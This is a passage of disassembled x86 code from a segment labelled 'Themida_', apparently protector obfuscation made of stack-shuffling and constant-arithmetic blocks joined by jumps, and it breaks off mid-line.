loc_56CB05 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp jmp loc_56AFAB ; --------------------------------------------------------------------------- loc_56442E: ; CODE XREF: Themida_:005642CAj add al, bl pop ebx add al, 11h push edx mov dl, al mov bh, dl pop edx jmp loc_55FD19 ; --------------------------------------------------------------------------- loc_56443E: ; CODE XREF: Themida_:0056D148j inc ecx xor ecx, 397C4FDAh jmp loc_571155 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push esp mov ecx, [esp] push 1A22h jmp loc_564EE1 ; --------------------------------------------------------------------------- loc_56445D: ; CODE XREF: Themida_:00562C08j add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp shr eax, 0Ah xor eax, ecx push eax jmp loc_5713F7 ; --------------------------------------------------------------------------- loc_564475: ; CODE XREF: Themida_:0055EEEEj not al shr al, 3 inc al xor al, 0Fh or dl, al pop ax push ebx jmp loc_568B8C ; --------------------------------------------------------------------------- loc_564488: ; CODE XREF: Themida_:00569E81j push ecx jmp loc_55FF98 ; --------------------------------------------------------------------------- loc_56448E: ; CODE XREF: Themida_:0056A59Fj add esp, 4 push ebp push 1000000h pop ebp and eax, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_56465A ; --------------------------------------------------------------------------- loc_5644B0: ; CODE XREF: Themida_:0056F1EEj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_567BBB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5644D4: ; CODE XREF: Themida_:005651ABj not ebx not ebx sub ebx, 62D83EBEh jmp loc_55DCC1 ; --------------------------------------------------------------------------- loc_5644E3: ; CODE XREF: Themida_:00563A3Fj mov [esp], edx push 4 mov edx, [esp] jmp loc_56FC0A ; --------------------------------------------------------------------------- loc_5644F3: ; CODE XREF: Themida_:00560256j push dword ptr [esp] pop ebx add esp, 4 neg ebp push edx push 0AD1FAE9Fh pop edx xor ebp, edx pop edx sub eax, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edi push esp jmp loc_567EED ; --------------------------------------------------------------------------- loc_56451E: ; CODE XREF: Themida_:0057093Dj xor edx, 3383317Ah neg edx push esi jmp loc_5723C5 ; --------------------------------------------------------------------------- loc_56452C: ; CODE XREF: Themida_:005626F1j mov edx, 700E20FAh push ebp mov ebp, 7F0107AFh jmp loc_55F3D1 ; --------------------------------------------------------------------------- loc_56453C: ; CODE XREF: Themida_:00570AD9j push edx jmp loc_56770F ; --------------------------------------------------------------------------- loc_564542: ; CODE XREF: Themida_:0055FEAAj pop edi add edx, edi jmp loc_56BADE ; --------------------------------------------------------------------------- loc_56454A: ; CODE XREF: Themida_:00569966j add edx, 4949D94Ch push edx push edi mov edi, 38B75BFFh sub [esp+4], edi pop edi pop esi push ebx mov ebx, 38B75BFFh add esi, ebx pop ebx jmp loc_5669B3 ; --------------------------------------------------------------------------- loc_56456B: ; CODE XREF: Themida_:0055E737j and ebx, 6F693C72h and ebx, 7EC37B26h jmp loc_55F566 ; --------------------------------------------------------------------------- loc_56457C: ; CODE XREF: Themida_:0056A35Fj pop esi add edi, ecx jmp loc_565969 ; --------------------------------------------------------------------------- loc_564584: ; CODE XREF: Themida_:0056E40Fj pop ebx or edi, 2F88516Ch shr edi, 4 push edi not dword ptr [esp] pop edi add edi, 1 push esi jmp loc_5625A1 ; --------------------------------------------------------------------------- loc_56459C: ; CODE XREF: Themida_:005652C9j sub ebx, 7EFE0332h sub ebx, 1DB30A50h push eax jmp loc_568FD6 ; --------------------------------------------------------------------------- loc_5645AE: ; CODE XREF: Themida_:0055F506j push edi push 793F2CF6h pop edi not edi inc edi sub edi, 0FFFFFFFFh inc edi jmp loc_55FD0E ; --------------------------------------------------------------------------- loc_5645C4: ; CODE XREF: Themida_:00570287j or ebx, 0C09748Ah push 56EEh mov [esp], esi mov esi, 79A1551Fh xor ebx, esi jmp loc_564052 ; --------------------------------------------------------------------------- loc_5645DE: ; CODE XREF: Themida_:00568FFEj pop ebx mov esi, ecx pop ecx sub edx, 393F480Eh add edx, esi add edx, 393F480Eh push dword ptr [esp] pop esi add esp, 4 xchg edx, [esp] jmp loc_5717C5 ; --------------------------------------------------------------------------- mov ax, [esp] push 0CDCh mov [esp], ebp push esp mov ebp, [esp] jmp loc_566D3D ; --------------------------------------------------------------------------- loc_564617: ; CODE XREF: Themida_:0056AEB8j push 6351h mov [esp], eax push esp jmp loc_56E321 ; --------------------------------------------------------------------------- loc_564625: ; CODE XREF: Themida_:00567E17j mov ebx, [esp] add esp, 4 add ebp, ecx pop ecx push dword ptr [esp] pop eax jmp loc_56E181 ; --------------------------------------------------------------------------- loc_56463A: ; CODE XREF: Themida_:005674C4j or ebp, 4CB00406h or ebp, 44476CCh xor ebp, 1108167Dh jmp loc_56B909 ; --------------------------------------------------------------------------- loc_564651: ; CODE XREF: Themida_:00567655j push dword ptr [esp+4] jmp loc_56FF3E ; --------------------------------------------------------------------------- loc_56465A: ; CODE XREF: Themida_:005644ABj xchg eax, [esp] pop esp mov [esp], edx mov edx, esp jmp loc_56FA45 ; --------------------------------------------------------------------------- loc_564668: ; CODE XREF: Themida_:0056F63Bj dec edx add edx, 0FBE8E00Fh push edx xor dword ptr [esp], 0BA930F2h pop eax xor eax, 0BA930F2h pop edx jmp loc_56C0A9 ; --------------------------------------------------------------------------- loc_564683: ; CODE XREF: Themida_:00560069j sub ebx, 59E97C88h jmp loc_56D725 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_55EEC4 ; --------------------------------------------------------------------------- loc_564696: ; CODE XREF: Themida_:0056076Bj mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] jmp loc_567206 ; --------------------------------------------------------------------------- loc_5646AF: ; CODE XREF: Themida_:005656EAj push edi mov edi, 110F70B6h mov edx, 5FB1E1C3h add edx, 56AA70DAh jmp loc_55EE3C ; --------------------------------------------------------------------------- loc_5646C5: ; CODE XREF: Themida_:0055E93Bj push 79BCh mov [esp], ecx jmp loc_56F1D5 ; --------------------------------------------------------------------------- mov ax, [esp] push 2387h mov [esp], ecx push 292Fh mov [esp], esp push ebp push ecx jmp loc_563A85 ; --------------------------------------------------------------------------- loc_5646ED: ; CODE XREF: Themida_:0056EE3Ej push ebp jmp loc_56210A ; --------------------------------------------------------------------------- loc_5646F3: ; CODE XREF: Themida_:0056B79Fj mov [esp], ecx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5646FB: ; CODE XREF: Themida_:00565D85j mov [esp], ebx sub esp, 4 mov [esp], eax push edi jmp loc_56BA17 ; --------------------------------------------------------------------------- loc_56470D: ; CODE XREF: Themida_:00566B12j mov esi, 1C177788h xor edx, esi pop esi add ecx, 2C556DC8h jmp loc_5605C7 ; --------------------------------------------------------------------------- loc_564720: ; CODE XREF: Themida_:00570C7Ej sub esp, 4 push edx mov edx, esp push ebp mov ebp, 358747FAh xor ebp, 358747FEh add edx, ebp pop ebp sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_56A94E ; --------------------------------------------------------------------------- loc_564759: ; CODE XREF: Themida_:0056F6FFj mov ebx, [esp] add esp, 4 jmp loc_56276A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_564777: ; CODE XREF: Themida_:0056A842j xor [esp], ecx jmp loc_5682B9 ; --------------------------------------------------------------------------- loc_56477F: ; CODE XREF: Themida_:0057203Ej mov edi, 3350328Fh and edi, 2B8D548Ah xor edi, 7C6525D2h or edi, 66A861AFh jmp loc_56F905 ; --------------------------------------------------------------------------- loc_56479B: ; CODE XREF: Themida_:00568ACFj sub eax, 1588789Ch mov edx, [esp] jmp loc_55F421 ; --------------------------------------------------------------------------- loc_5647A8: ; CODE XREF: Themida_:00570A15j xchg edx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], edi sub esp, 4 jmp loc_571725 ; --------------------------------------------------------------------------- loc_5647BD: ; CODE XREF: Themida_:005669EBj xor eax, 2BA5B85Ch add edi, eax jmp loc_562D42 ; --------------------------------------------------------------------------- loc_5647C9: ; CODE XREF: Themida_:0056E9A3j mov edx, 1B1CB653h add edx, ebx push dword ptr [esp] pop ebx add esp, 4 sub edx, 75EF0DE3h shr edx, 5 jmp loc_565A8F ; --------------------------------------------------------------------------- loc_5647E8: ; CODE XREF: Themida_:00571CCAj pop eax add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_563BBB ; --------------------------------------------------------------------------- loc_5647FA: ; CODE XREF: Themida_:0056C9C7j dec ecx xor ecx, 2E20AA10h jmp loc_56BFED ; --------------------------------------------------------------------------- loc_564806: ; CODE XREF: Themida_:0056905Bj push ebx jmp loc_568859 ; --------------------------------------------------------------------------- loc_56480C: ; CODE XREF: Themida_:005656C4j pop esp jmp loc_5653CC ; --------------------------------------------------------------------------- loc_564812: ; CODE XREF: Themida_:0055DBEFj push edx mov edx, 478E3F9Ah jmp loc_570DEB ; --------------------------------------------------------------------------- loc_56481D: ; CODE XREF: Themida_:00571293j mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_570424 ; --------------------------------------------------------------------------- loc_564838: ; CODE XREF: Themida_:00571593j xchg edx, ebx inc ebx push ebp mov ebp, 309818B4h jmp loc_566E71 ; --------------------------------------------------------------------------- loc_564846: ; CODE XREF: Themida_:0056EF1Dj mov [esp], ebp mov ebp, 27472209h add esi, 52724CD1h jmp loc_56BA8D ; --------------------------------------------------------------------------- loc_564859: ; CODE XREF: Themida_:00571517j mov [esp], eax mov eax, 3E05058Ah jmp loc_570521 ; --------------------------------------------------------------------------- loc_564866: ; CODE XREF: Themida_:00569DFCj push 1 pop ebp and eax, ebp push dword ptr [esp] mov ebp, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_5686AF ; --------------------------------------------------------------------------- loc_564896: ; CODE XREF: Themida_:005716AFj push 3403h jmp loc_56542A ; --------------------------------------------------------------------------- loc_5648A0: ; CODE XREF: Themida_:00562AE2j xor cl, dl mov edx, [esp] add esp, 4 add al, cl mov ecx, [esp] add esp, 4 push ebx mov bl, 3Bh sub bl, 73h xor bl, 52h jmp loc_55DBC6 ; --------------------------------------------------------------------------- loc_5648BE: ; CODE XREF: Themida_:00565DD4j sub edx, eax pop eax jmp loc_56A511 ; --------------------------------------------------------------------------- loc_5648C6: ; CODE XREF: Themida_:00570516j add ebp, 4 xchg ebp, [esp] jmp loc_5616E7 ; --------------------------------------------------------------------------- loc_5648D4: ; CODE XREF: Themida_:00562E00j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub edx, 0FFFFFFFFh xor edx, 3A069A4Fh push esi jmp loc_56A0DB ; --------------------------------------------------------------------------- loc_5648F3: ; CODE XREF: Themida_:0056959Cj sub eax, 4 xor eax, [esp] xor [esp], eax jmp loc_569BB5 ; --------------------------------------------------------------------------- loc_564903: ; CODE XREF: Themida_:005639B8j mov eax, 4CBD060Ah push edx mov edx, 77DB4E5Eh sub esi, edx pop edx sub esi, eax push ebx mov ebx, 77DB4E5Eh add esi, 277102A7h add esi, ebx sub esi, 277102A7h pop ebx mov eax, [esp] push eax mov eax, esp jmp loc_55F660 ; --------------------------------------------------------------------------- loc_564933: ; CODE XREF: Themida_:0055DE4Cj xor [esp], ebx jmp loc_55F7B3 ; --------------------------------------------------------------------------- loc_56493B: ; CODE XREF: Themida_:0056CE68j xor edx, edi pop edi neg edx shl edx, 4 not edx jmp loc_56FC75 ; --------------------------------------------------------------------------- loc_56494A: ; CODE XREF: Themida_:0056DB91j xchg eax, [esp] mov esp, [esp] mov [esp], esi mov esi, 59285C6Bh sub edx, esi pop esi add edx, 7FBD7A1Bh jmp loc_563BE3 ; --------------------------------------------------------------------------- loc_564966: ; CODE XREF: Themida_:0056E30Aj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_560DEC ; --------------------------------------------------------------------------- loc_56497D: ; CODE XREF: Themida_:00572690j add ebx, 426702F3h mov ecx, ebx mov ebx, [esp] jmp loc_569510 ; --------------------------------------------------------------------------- loc_56498D: ; CODE XREF: Themida_:005657E2j pop esp jmp loc_571717 ; --------------------------------------------------------------------------- loc_564993: ; CODE XREF: Themida_:00566E28j pop dword ptr [esp] pop esp mov [esp], edx mov edx, 4 add edi, 403F1054h add edi, edx sub edi, 403F1054h mov edx, [esp] jmp loc_561250 ; --------------------------------------------------------------------------- mov ax, [esp] push 4334h mov [esp], edi mov edi, esp jmp loc_560A7D ; --------------------------------------------------------------------------- loc_5649C8: ; CODE XREF: Themida_:0056B2BFj pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_56056A ; --------------------------------------------------------------------------- loc_5649FC: ; CODE XREF: Themida_:00561B62j mov edi, 7E4D4B5Bh push edx mov edx, 470C71BDh push ecx mov ecx, 4D893401h mov eax, 1447F915h sub eax, ecx pop ecx xor eax, edx jmp loc_56AF5D ; --------------------------------------------------------------------------- loc_564A1C: ; CODE XREF: Themida_:00570B03j sub esp, 4 mov [esp], esi jmp loc_568227 ; --------------------------------------------------------------------------- loc_564A27: ; CODE XREF: Themida_:0056F504j push edx jmp loc_56A13A ; --------------------------------------------------------------------------- loc_564A2D: ; CODE XREF: Themida_:00563F8Fj mov edx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push 479Eh mov [esp], ebp mov ebp, 185E7CF0h shl ebp, 6 add ebp, 0E860C404h jmp loc_561E4F ; --------------------------------------------------------------------------- loc_564A5B: ; CODE XREF: Themida_:0055FE58j xchg ebp, [esp] not ebp xchg ebp, [esp] pop ecx jmp loc_563E42 ; --------------------------------------------------------------------------- loc_564A69: ; CODE XREF: Themida_:00563257j mov [esp], edi mov edi, ebx push 3C83h mov [esp], edi push dword ptr [esp] pop eax push 6CFEh mov [esp], eax jmp loc_56FBAB ; --------------------------------------------------------------------------- loc_564A87: ; CODE XREF: Themida_:0056174Ej pop esp mov [esp], ax mov ah, 37h add dl, ah jmp loc_569CBA ; --------------------------------------------------------------------------- loc_564A95: ; CODE XREF: Themida_:0056D9B0j push ebp mov ebp, 46E625F5h jmp loc_55D9B6 ; --------------------------------------------------------------------------- loc_564AA0: ; CODE XREF: Themida_:00561E5Bj pop ebp add eax, 2 push eax push dword ptr [esp+4] pop eax jmp loc_55E417 ; --------------------------------------------------------------------------- loc_564AB1: ; CODE XREF: Themida_:005700AFj not esi add esi, 4A216F4Dh add ebp, esi pop esi shr ebp, 8 sub ebp, 0A4FAC15Ah add edx, 36CE67D3h sub edx, ebp sub edx, 36CE67D3h pop ebp push dword ptr [esp] pop eax add esp, 4 push edx jmp loc_55D96E ; --------------------------------------------------------------------------- loc_564AE4: ; CODE XREF: Themida_:0056883Aj add esp, 4 pop dword ptr [esp] mov esp, [esp] push 7851h jmp loc_572622 ; --------------------------------------------------------------------------- loc_564AF7: ; CODE XREF: Themida_:0055F004j push ebp mov ebp, 375A4471h sub edx, ebp pop ebp jmp loc_55EC93 ; --------------------------------------------------------------------------- loc_564B05: ; CODE XREF: Themida_:0056F4C7j push eax jmp loc_56BEC5 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] jmp loc_569796 ; --------------------------------------------------------------------------- loc_564B13: ; CODE XREF: Themida_:0056519Fj neg edi add edi, 4E8F3F18h add edi, 0E732686Ah xor ecx, edi pop edi jmp loc_55DF13 ; --------------------------------------------------------------------------- loc_564B29: ; CODE XREF: Themida_:0056015Dj shl ecx, 5 add ecx, 49830AFEh xor ecx, 137E126Ah sub ecx, 3D02F2F2h sub edx, ecx jmp loc_56008B ; --------------------------------------------------------------------------- loc_564B45: ; CODE XREF: Themida_:0055E330j pop esi add esp, 4 loc_564B49: ; CODE XREF: Themida_:00560835j push 3D1Dh mov [esp], ebx jmp loc_56C04D ; --------------------------------------------------------------------------- loc_564B56: ; CODE XREF: Themida_:00563A18j add eax, 6258756Eh sub eax, 0CC83F49Ah add esi, eax pop eax add ebx, 6F9A0D9Bh add ebx, 6DBD3C36h add ebx, esi sub ebx, 6DBD3C36h sub ebx, 6F9A0D9Bh pop esi sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push esi jmp loc_56937D ; --------------------------------------------------------------------------- loc_564BA7: ; CODE XREF: Themida_:00563B64j push eax jmp loc_56257B ; --------------------------------------------------------------------------- loc_564BAD: ; CODE XREF: Themida_:00571F5Aj sub esp, 4 mov [esp], ecx mov ch, 0D0h shr ch, 1 jmp loc_56963E ; --------------------------------------------------------------------------- loc_564BBF: ; CODE XREF: Themida_:00563B41j sub ecx, 751F78B6h mov eax, [esp] jmp loc_56F62C ; --------------------------------------------------------------------------- loc_564BCD: ; CODE XREF: Themida_:00567877j mov [esp], edx mov dl, 53h add al, dl pop edx add al, 3 sub al, bl sub al, 3 jmp loc_560A24 ; --------------------------------------------------------------------------- loc_564BE0: ; CODE XREF: Themida_:0056855Dj push esp pop ebp add ebp, 4 push edi mov edi, 2 jmp loc_571BA2 ; --------------------------------------------------------------------------- loc_564BF3: ; CODE XREF: Themida_:0056A1E2j mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_560519 ; --------------------------------------------------------------------------- loc_564C07: ; CODE XREF: Themida_:0056010Aj sub al, dl pop edx push edx jmp loc_56F99D ; --------------------------------------------------------------------------- loc_564C10: ; CODE XREF: Themida_:0056EC9Ej pop edi pop edi add ecx, 2 jmp loc_567FED ; --------------------------------------------------------------------------- loc_564C1A: ; CODE XREF: Themida_:0056617Bj sub edi, 0EEF083Bh sub edi, ebp add edi, 0EEF083Bh push dword ptr [esp] mov ebp, [esp] jmp loc_55F11B ; --------------------------------------------------------------------------- loc_564C33: ; CODE XREF: Themida_:0055F4CEj add eax, ebp jmp loc_55FE0D ; --------------------------------------------------------------------------- loc_564C3A: ; CODE XREF: Themida_:0056EE52j push dword ptr [esp] jmp loc_56BDEC ; --------------------------------------------------------------------------- loc_564C42: ; CODE XREF: Themida_:0055EFD7j mov cl, bl neg cl mov bl, cl jmp loc_56F9C6 ; --------------------------------------------------------------------------- loc_564C4D: ; CODE XREF: Themida_:0056D3F5j dec eax push ecx mov ecx, 33A84AD8h sub ecx, 0B4F440ADh jmp loc_5674FD ; --------------------------------------------------------------------------- loc_564C5F: ; CODE XREF: Themida_:005651EAj add esp, 4 xchg ecx, edx xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_5682EC ; --------------------------------------------------------------------------- loc_564C72: ; CODE XREF: Themida_:0056CC1Cj inc ebx and ebx, 7FC42F01h add ebx, 0DA750DDEh sub eax, ebx jmp loc_5682FB ; --------------------------------------------------------------------------- loc_564C86: ; CODE XREF: Themida_:00565462j xchg ebp, [esp] pop esp push esi mov esi, 49FE0089h sub edi, esi pop esi and eax, edi mov edi, [esp] jmp loc_56CDA8 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_564CA6: ; CODE XREF: Themida_:0056B20Cj not ebx add ebx, 7BB2027Ch xor edx, ebx jmp loc_5663E9 ; --------------------------------------------------------------------------- loc_564CB5: ; CODE XREF: Themida_:005688E8j sub esp, 4 mov [esp], ebp mov ebp, 7E722153h push eax mov eax, 24C56714h xor ebp, eax pop eax push 1EB4h mov [esp], ebp pop edi pop ebp sub edi, 40B89EFBh jmp loc_56CC54 ; --------------------------------------------------------------------------- loc_564CDE: ; CODE XREF: Themida_:0056CFB3j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ebx push esp pop ebx add ebx, 4 push 1AB5h mov [esp], esi mov esi, 31591375h jmp loc_571287 ; --------------------------------------------------------------------------- loc_564D05: ; CODE XREF: Themida_:00571A55j sub edi, 6B2A2520h mov ecx, [esp] jmp loc_56FA71 ; --------------------------------------------------------------------------- loc_564D13: ; CODE XREF: Themida_:0056BB13j inc esi jmp loc_55F3BD ; --------------------------------------------------------------------------- loc_564D19: ; CODE XREF: Themida_:0056EFDAj pop esp add al, dl add al, 4Eh pop edx push edx mov dh, 0DAh shr dh, 8 sub dh, 55h push dx not byte ptr [esp+1] pop dx sub dh, 0D4h push ecx mov cl, 0E3h or dh, cl jmp loc_56C5B5 ; --------------------------------------------------------------------------- loc_564D3D: ; CODE XREF: Themida_:005635ABj sub ecx, 201046F2h add [ecx], edx pop ecx pop eax push dword ptr [esp] jmp loc_5666C3 ; --------------------------------------------------------------------------- loc_564D4F: ; CODE XREF: Themida_:00562FE4j pop esp shr dh, 4 push ecx mov cl, 0AFh push eax push edx mov dh, 34h push small 0 sub [esp], dh jmp loc_569AE8 ; --------------------------------------------------------------------------- loc_564D66: ; CODE XREF: Themida_:005703F6j add edi, 4 add edi, 4 xchg edi, [esp] pop esp not al xor ch, al xor al, ch xor ch, al push bx jmp loc_5684C5 ; --------------------------------------------------------------------------- loc_564D82: ; CODE XREF: Themida_:00563BB0j sub ebx, esi pop esi add ebx, eax add ebx, 5E9C2C14h jmp loc_5727AF ; --------------------------------------------------------------------------- loc_564D92: ; CODE XREF: Themida_:0055E1F4j xchg edx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push 1613h mov [esp], edi jmp loc_5653E7 ; --------------------------------------------------------------------------- loc_564DAD: ; CODE XREF: Themida_:0056E23Aj mov ch, 0B6h jmp loc_56B8C0 ; --------------------------------------------------------------------------- loc_564DB4: ; CODE XREF: Themida_:0057271Cj add edi, 2 xchg edi, [esp] mov esp, [esp] jmp loc_567D4B ; --------------------------------------------------------------------------- loc_564DC2: ; CODE XREF: Themida_:0056A0D6j sub eax, ebx mov ebx, [esp] add esp, 4 jmp loc_569050 ; --------------------------------------------------------------------------- loc_564DD2: ; CODE XREF: Themida_:005614C3j or ecx, ebp jmp loc_571B9C ; --------------------------------------------------------------------------- loc_564DD9: ; CODE XREF: Themida_:0056EB42j mov ebp, esp jmp loc_55E37E ; --------------------------------------------------------------------------- loc_564DE0: ; CODE XREF: Themida_:00569F7Fj and al, bh jmp loc_5607CC ; --------------------------------------------------------------------------- loc_564DE7: ; CODE XREF: Themida_:00562E7Cj add esp, 4 push edx jmp loc_571249 ; --------------------------------------------------------------------------- loc_564DF0: ; CODE XREF: Themida_:0055F93Dj push 7DD9h mov [esp], ecx push 3A76h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 push edx mov edx, 4 add ecx, edx pop edx sub esp, 4 mov [esp], eax mov eax, 2 jmp loc_5694A1 ; --------------------------------------------------------------------------- loc_564E27: ; CODE XREF: Themida_:0055F148j pop edi add esp, 4 add edi, 0CB6C48FDh mov ecx, edi mov edi, [esp] add esp, 4 jmp loc_56FB4F ; --------------------------------------------------------------------------- loc_564E44: ; CODE XREF: Themida_:00567D79j not ecx sub ecx, 1B7F0043h add eax, ecx pop ecx xchg eax, [esp] pop esp push dword ptr [esp] jmp loc_5632BD ; --------------------------------------------------------------------------- loc_564E5B: ; CODE XREF: Themida_:0056D702j push ecx jmp loc_56FBE3 ; --------------------------------------------------------------------------- loc_564E61: ; CODE XREF: Themida_:00570601j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_569A03 ; --------------------------------------------------------------------------- loc_564E74: ; CODE XREF: Themida_:00571CAFj xchg eax, edi not eax xchg eax, edi push edi xchg ecx, [esp] not ecx xchg ecx, [esp] mov edi, [esp] add esp, 4 inc edi dec edi xor edi, 9CA22DC9h add ebp, 6D891DC4h sub ebp, edi sub ebp, 6D891DC4h mov edi, [esp] add esp, 4 xor ebx, ebp pop ebp and ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 shr ecx, 0Bh push 2389h mov [esp], esi sub esp, 4 mov [esp], ebx mov esi, [esp] jmp loc_56AB47 ; --------------------------------------------------------------------------- loc_564ED6: ; CODE XREF: Themida_:00563A64j mov esp, [esp] cmp ecx, eax pushf jmp loc_55F14D ; --------------------------------------------------------------------------- loc_564EE1: ; CODE XREF: Themida_:00564458j mov [esp], esi jmp loc_56F787 ; --------------------------------------------------------------------------- loc_564EE9: ; CODE XREF: Themida_:00563682j push dword ptr [esp] pop ecx jmp loc_560E63 ; --------------------------------------------------------------------------- loc_564EF2: ; CODE XREF: Themida_:0057146Aj sub eax, 0CA6179Dh sub eax, esi add eax, 0CA6179Dh pop esi push dword ptr [esp] pop edx add esp, 4 push ebp mov ebp, eax jmp loc_5603B0 ; --------------------------------------------------------------------------- loc_564F0E: ; CODE XREF: Themida_:0056D865j pop eax mov ebp, ebx pop ebx push ebp jmp loc_567CCA ; --------------------------------------------------------------------------- loc_564F18: ; CODE XREF: Themida_:005723D9j pop esp mov [esp], edi push esi mov esi, 277900E2h mov edi, 158A90h jmp loc_56319B ; --------------------------------------------------------------------------- loc_564F2C: ; CODE XREF: Themida_:0056518Ej mov ebx, 4 add esi, ebx pop ebx jmp loc_567AB5 ; --------------------------------------------------------------------------- loc_564F39: ; CODE XREF: Themida_:0055ED13j mov eax, 3C6471ABh jmp loc_5664D2 ; --------------------------------------------------------------------------- loc_564F43: ; CODE XREF: Themida_:00571645j mov edi, 22A33DC7h jmp loc_56F2A5 ; --------------------------------------------------------------------------- loc_564F4D: ; CODE XREF: Themida_:00560773j mov ecx, 1A580E94h dec ecx not ecx and ecx, 6F330848h neg ecx push ebp jmp loc_5691A7 ; --------------------------------------------------------------------------- loc_564F63: ; CODE XREF: Themida_:00568D59j not al push ecx mov cl, 0FAh sub al, cl jmp loc_569583 ; --------------------------------------------------------------------------- loc_564F6F: ; CODE XREF: Themida_:0056CFC4j push esp push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_56B897 ; --------------------------------------------------------------------------- loc_564F81: ; CODE XREF: Themida_:0056B634j add edx, ebp jmp loc_5725B5 ; --------------------------------------------------------------------------- loc_564F88: ; CODE XREF: Themida_:0055E48Dj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_561DFC ; --------------------------------------------------------------------------- loc_564F9E: ; CODE XREF: Themida_:005659D6j sub dl, 0ACh and dl, 61h sub dl, 85h sub ah, dl jmp loc_56CDCD ; --------------------------------------------------------------------------- loc_564FAE: ; CODE XREF: Themida_:0055FA81j xor ebp, 45B81A69h shr ebp, 3 dec ebp sub ebp, 40F76EF5h xor ebp, 0DC03230Eh mov edx, ebp pop ebp sub esi, edx mov edx, [esp] add esp, 4 add eax, esi mov esi, [esp] add esp, 4 add eax, 101B435Eh jmp loc_56A536 ; --------------------------------------------------------------------------- loc_564FE4: ; CODE XREF: Themida_:0055FFABj neg ebx jmp loc_56F09A ; --------------------------------------------------------------------------- push 4771h push esp pop dword ptr [esp] jmp loc_56EC0C ; --------------------------------------------------------------------------- loc_564FF9: ; CODE XREF: Themida_:0055DF42j pop esi xchg ebp, [esp] pop esp mov [esp], edi mov edi, esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_55ECCE ; --------------------------------------------------------------------------- loc_56501B: ; CODE XREF: Themida_:0055DB35j push eax jmp loc_565E1C ; --------------------------------------------------------------------------- loc_565021: ; CODE XREF: Themida_:0056B860j push ebp jmp loc_561919 ; --------------------------------------------------------------------------- loc_565027: ; CODE XREF: Themida_:0056A8D2j pop esp jmp loc_56CF53 ; --------------------------------------------------------------------------- loc_56502D: ; CODE XREF: Themida_:00565C18j neg dh sub dh, 0C2h jmp loc_56D6C9 ; --------------------------------------------------------------------------- loc_565037: ; CODE XREF: Themida_:00560DFDj mov [esp], ebx push ecx jmp loc_55FF36 ; --------------------------------------------------------------------------- loc_565040: ; CODE XREF: Themida_:0056D3FBj mov edi, 1CD62FF6h push ebp jmp loc_568FAB ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_565052: ; CODE XREF: Themida_:00567AE5j xchg ebp, esi shl esi, 5 xor esi, 0E5B00834h or edx, esi pop esi shl edx, 5 shr edx, 8 jmp loc_56292A ; --------------------------------------------------------------------------- loc_56506B: ; CODE XREF: Themida_:00562A51j mov [esp], ecx jmp loc_570AB7 ; --------------------------------------------------------------------------- loc_565073: ; CODE XREF: Themida_:00569EB5j not esi not esi add esi, 1801F294h jmp loc_56A35D ; --------------------------------------------------------------------------- loc_565082: ; CODE XREF: Themida_:0056F559j mov esi, 63981151h mov edx, 0E8BA5BBFh add edx, 4DFD6E0Eh push ebp mov ebp, 0E633694h jmp loc_569D9A ; --------------------------------------------------------------------------- loc_56509D: ; CODE XREF: Themida_:00570FE4j add ebp, 4FD87BD0h sub ebp, 7B7D6F9Ch shl ebp, 2 push eax mov eax, 6D5B7689h jmp loc_565CAE ; --------------------------------------------------------------------------- loc_5650B7: ; CODE XREF: Themida_:0056797Aj inc ebp jmp loc_56167B ; --------------------------------------------------------------------------- loc_5650BD: ; CODE XREF: Themida_:0056324Cj cmp cx, ax pushf jmp loc_571D65 ; --------------------------------------------------------------------------- loc_5650C6: ; CODE XREF: 